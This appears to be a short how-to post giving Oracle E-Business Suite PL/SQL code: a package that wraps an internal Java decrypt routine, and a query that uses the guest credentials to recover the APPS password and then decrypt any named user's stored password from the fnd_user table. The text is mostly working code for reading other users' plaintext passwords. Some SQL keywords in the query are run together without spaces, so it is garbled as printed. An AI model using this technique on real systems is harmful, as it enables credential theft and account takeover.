To achieve this you need to create a small package and run a query which I wrote below:

Step 1:  Create Package Specification

CREATE OR REPLACE PACKAGE get_pwd

AS

FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2;

END get_pwd;

/

Step 2: Create Package Body

CREATE OR REPLACE PACKAGE BODY get_pwd

AS

FUNCTION decrypt (KEY IN VARCHAR2, VALUE IN VARCHAR2)

      RETURN VARCHAR2

   AS

      LANGUAGE JAVA

      NAME 'oracle.apps.fnd.security.WebSessionManagerProc.decrypt(java.lang.String,java.lang.String) return java.lang.String';

END get_pwd;

/

Step 3: Query to execute

SELECTusr.user_name,

get_pwd.decrypt

          ((SELECT (SELECTget_pwd.decrypt

                              (fnd_web_sec.get_guest_username_pwd,

usertable.encrypted_foundation_password

                              )

FROM DUAL) ASapps_password

FROMfnd_userusertable

WHEREusertable.user_name =

                      (SELECT SUBSTR

                                  (fnd_web_sec.get_guest_username_pwd,

                                   1,

                                     INSTR

                                          (fnd_web_sec.get_guest_username_pwd,

                                           '/'

                                          )

                                   - 1

                                  )

FROM DUAL)),

usr.encrypted_user_password

          ) PASSWORD

FROMfnd_userusr

WHEREusr.user_name = '&USER_NAME';